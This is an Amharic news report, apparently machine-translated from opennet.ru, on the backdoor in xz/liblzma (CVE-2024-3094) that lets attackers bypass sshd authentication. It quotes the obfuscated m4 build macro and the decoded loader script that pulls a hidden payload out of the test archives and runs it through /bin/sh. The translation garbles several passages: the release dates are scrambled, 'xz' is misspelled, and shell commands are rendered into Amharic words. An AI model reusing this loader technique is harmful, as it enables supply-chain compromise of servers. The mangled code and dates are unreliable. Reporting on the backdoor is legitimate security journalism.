በsshd በኩል መግባት የሚያስችል በxz/liblzma ቤተ-መጽሐፍት ውስጥ የኋላ በር ተገኘ

በ XZ Utils ጥቅል ውስጥ፣ የliblzma ቤተ መፃህፍትን እና ከተጨመቀ መረጃ ጋር በ ".xz" ቅርጸት ለመስራት መገልገያዎችን ጨምሮ ፣ በተያያዙ አፕሊኬሽኖች የተቀነባበሩ መረጃዎችን ለመጥለፍ እና ለማሻሻል የሚያስችል የኋላ በር (CVE-2024-3094) ተለይቷል ። ከliblzma ቤተ መጻሕፍት ጋር። የኋለኛው በር ዋና ኢላማ የOpenSSH አገልጋይ ነው፣ እሱም በአንዳንድ ስርጭቶች ከlibsystemd ቤተ-መጽሐፍት ጋር ተጣምሮ፣ እሱም በተራው liblzma ይጠቀማል። sshdን ከተጋላጭ ቤተ-መጽሐፍት ጋር ማገናኘት አጥቂዎች የኤስኤስኤች አገልጋይ ያለ ማረጋገጫ እንዲደርሱ ያስችላቸዋል።

የኋለኛው በር በየካቲት 5.6.0 እና መጋቢት 5.6.1 ላይ በታተመው ይፋዊው 24 እና 9 ላይ ነበር፣ ይህም ወደ አንዳንድ ስርጭቶች እና ማከማቻዎች መግባት ችሏል፣ ለምሳሌ Gentoo፣ Arch Linux፣ Debian sid/unstable፣ Fedora Rawhide እና 40-ቤታ፣ openSUSE ፋብሪካ እና tumbleweed፣ LibreELEC፣ Alpine edge፣ Solus፣ NixOS unstable፣ OpenIndiana፣ OpenMandriva rolling፣ pkgsrc current፣ Slackware current፣ ማንጃሮ ሙከራ። ሁሉም የ xz 5.6.0 እና 5.6.1 ልቀቶች ተጠቃሚዎች በአስቸኳይ ወደ ስሪት 5.4.6 እንዲመለሱ ይመከራሉ።

ችግሩን ከሚቀንሱት ምክንያቶች መካከል፣ የኋላ በር ያለው የliblzma ስሪት የተረጋጋ የትላልቅ ስርጭቶች ልቀቶች አካል መሆን ባይችልም openSUSE Tumbleweed እና Fedora 40-beta ላይ ተጽዕኖ ማሳደሩን ልብ ሊባል ይችላል። አርክ ሊኑክስ እና Gentoo ለጥቃት የተጋለጠ የzx ስሪት ተጠቅመዋል፣ነገር ግን ለጥቃቱ የተጋለጡ አይደሉም ምክንያቱም የስርዓትd-ማሳወቂያ ፕላስተርን ወደ openssh ስለማይተገብሩ፣ይህም sshd ከliblzma ጋር እንዲያያዝ ያደርገዋል። የኋላ በር በሊኑክስ ከርነል እና በGlibc C ላይብረሪ ላይ የተመሰረተ የ x86_64 ስርዓቶችን ብቻ ነው የሚነካው።

የኋለኛው በር ማግበር ኮድ በ m4 ማክሮዎች ውስጥ ከ build-to-host.m4 ፋይል ውስጥ ተደብቆ ነበር አውቶማክ መሣሪያ በሚገነባበት ጊዜ። በስብሰባ ወቅት፣ በማህደር (bad-3-corrupt_lzma2.xz፣ good-large_compressed.lzma) ላይ የተመሰረቱ ውስብስብ የተደበቁ ስራዎች በሚከናወኑበት ወቅት የክዋኔውን ትክክለኛነት ለመፈተሽ ጥቅም ላይ የሚውለው ተንኮል-አዘል ኮድ ያለው የነገር ፋይል ተፈጠረ፣ እሱም በ ውስጥ ተካትቷል። የliblzma ቤተ-መጽሐፍት እና አንዳንድ ተግባራቶቹን የአሠራር አመክንዮ ለውጦታል። የጀርባውን በር የሚያንቀሳቅሰው m4 ማክሮዎች በሚለቀቁት ታርቦሎች ውስጥ ተካተዋል ነገርግን በጊት ማከማቻ ውስጥ አልነበሩም። በተመሳሳይ ጊዜ, ተንኮል አዘል የሙከራ ማህደሮች በማከማቻው ውስጥ ይገኛሉ, ማለትም. የኋለኛውን በር የተተገበረው ሰው የማጠራቀሚያውን እና የመልቀቂያውን የማመንጨት ሂደቶችን ማግኘት ነበረበት።

በመተግበሪያዎች ውስጥ liblzma ሲጠቀሙ፣ ተንኮል አዘል ለውጦች ውሂብን ለመጥለፍ ወይም ለማሻሻል፣ ወይም የsshd አሠራር ላይ ተጽዕኖ ሊያሳድሩ ይችላሉ። በተለይም ተንኮል አዘል ኮድ የsshd የማረጋገጫ ሂደትን ለማለፍ የ RSA_public_decrypt ተግባርን አጭበረበረ። የኋለኛው በር ከማወቂያ ጥበቃን ያካትታል እና የ LANG እና TERM አካባቢ ተለዋዋጮች ሲዘጋጁ (ማለትም ሂደቱን በተርሚናል ውስጥ ሲያካሂዱ) እና LD_DEBUG እና LD_PROFILE የአካባቢ ተለዋዋጮች አልተዘጋጁም እና እራሱን አላሳየም እና ሲተገበር ብቻ ነበር የነቃው። / usr/sbin/sshd ሊተገበር የሚችል ፋይል . የኋለኛው በር እንዲሁ ማረሚያ አካባቢዎች ውስጥ ግድያ የመለየት ዘዴ ነበረው።

በተለይም m4/build-to-host.m4 ፋይል gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev / ተጠቅሟል። null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_ቅድመ-ቅጥያ -d 2>/dev/null'

በመጀመሪያው ግንባታ የ grep ክወና የፋይል ሙከራዎችን / ፋይሎችን / መጥፎ-3-corrupt_lzma2.xzን አግኝቷል, እሱም ሳይታሸጉ, ስክሪፕቱን ያመነጨው: ####Hello#### #345U211267$^D330^W [! $(uname) = "Linux" ] && ውጣ 0 [! $(uname) = "Linux" ] && ውጣ 0 [! $(uname) = "Linux" ] && ውጣ 0 [! $(uname) = "Linux" ] && ውጣ 0 [! $(uname) = "Linux" ] && ውጣ 0 eval `grep ^srcdir= config.status` ከተሞከረ -f .././config.status;ከዚያ eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir" fi ኤክስፖርት i=»((ራስ -c +1024 >/dev/null) && head -c +2048 && (ራስ -c +1024 >/dev/ null) && ራስ -c +2048 && (ራስ -c +1024>/dev/null) && ራስ -c +2048 && (ራስ -c +1024 >/dev/ null) && ራስ -c +2048 && (ራስ -) ሐ +1024 >/dev/ null) && ራስ -c +2048 && (ራስ -c +1024 >/dev/null) && ራስ -c +2048 && (ራስ -c +1024 >/dev/ null) && ራስ - ሐ +2048 && (ራስ -c +1024>/dev/ null) && ራስ -c +2048 && (ራስ -c +1024 >/dev/ null) && ራስ -c +2048 && (ራስ -c +1024 >/ dev/null) && ራስ -c +2048 && (ራስ -c +1024 >/dev/ null) && ራስ -c +2048 && (ራስ -c +1024 >/dev/ null) && head -c +2048 && ( ራስ -c +1024 >/dev/ null) && ራስ -c +2048 && (ራስ -c +1024 >/dev/ null) && ራስ -c +2048 && (ራስ -c +1024 >/dev/ null) && head -c +2048 && (ራስ -c +1024>/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc) $srcdir/ፈተናዎች/ፋይሎች/ጥሩ-ትልቅ_compressed.lzma|eval $i|ጭራ -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####ዓለም####

አጥቂዎቹ የ xz ፕሮጀክቱን መሠረተ ልማት እንዴት ማግኘት እንደቻሉ እስካሁን ሙሉ በሙሉ አልተገለጸም። እንዲሁም በጓሮ በር ምክንያት ምን ያህል ተጠቃሚዎች እና ፕሮጀክቶች እንደተጎዱ እስካሁን ግልጽ አይደለም. የኋለኛው በር ደራሲ (JiaT75 - ጂያ ታን) ፣ በማከማቻው ውስጥ ተንኮል-አዘል ኮድ ያላቸው ማህደሮችን የለጠፈ ፣ ከፌዶራ ገንቢዎች ጋር ተዛመደ እና ወደ xz 5.6.0 ቅርንጫፍ ማከፋፈያ ሽግግር ጋር በተያያዘ ለዴቢያን የመሳብ ጥያቄዎችን ላከ እና አላደረገም። በ xz ውስጥ ስለተሳተፈ ላለፉት ሁለት ዓመታት እያደገ ነው እና ከተደረጉ ለውጦች ብዛት አንፃር ሁለተኛው ገንቢ ስለሆነ ጥርጣሬን ያነሳሱ። ከ xz ፕሮጀክት በተጨማሪ የኋለኛው በር ደራሲ ነው የተባለው በ xz-java እና xz-የተከተቱ ጥቅሎችን በማዘጋጀት ላይ ተሳትፏል። ከዚህም በላይ ጂያ ታን ከጥቂት ቀናት በፊት በሊኑክስ ከርነል ውስጥ ጥቅም ላይ የዋለው የ XZ Embedded ፕሮጀክት ተጠባባቂዎች ቁጥር ውስጥ ተካትቷል።

ከልክ ያለፈ የሲፒዩ ፍጆታ እና በ ssh ወደ Debian sid-based ስርዓቶች ሲገናኙ በቫልግሪንድ የተፈጠሩ ስህተቶችን ከመረመረ በኋላ ተንኮል አዘል ለውጡ ተገኝቷል። የ xz 5.6.1 መለቀቅ ከኋላ በር ጋር ወደ zx 5.6.0 ስሪት ከተሻሻለ በኋላ ስለ sshd መቀዛቀዝ እና ብልሽቶች ቅሬታዎች ምላሽ ለመስጠት የጓሮ በር ደራሲ በተባሉት የተዘጋጁ ለውጦችን ማካተቱ ትኩረት የሚስብ ነው። በተጨማሪም፣ ባለፈው አመት ጂያ ታን ከ"-fsanitize=address" ፍተሻ ሁነታ ጋር የማይጣጣሙ ለውጦችን አድርጋለች፣ ይህም በ fuzz ሙከራ ወቅት እንዲሰናከል አድርጎታል።

ምንጭ: opennet.ru

አስተያየት ያክሉ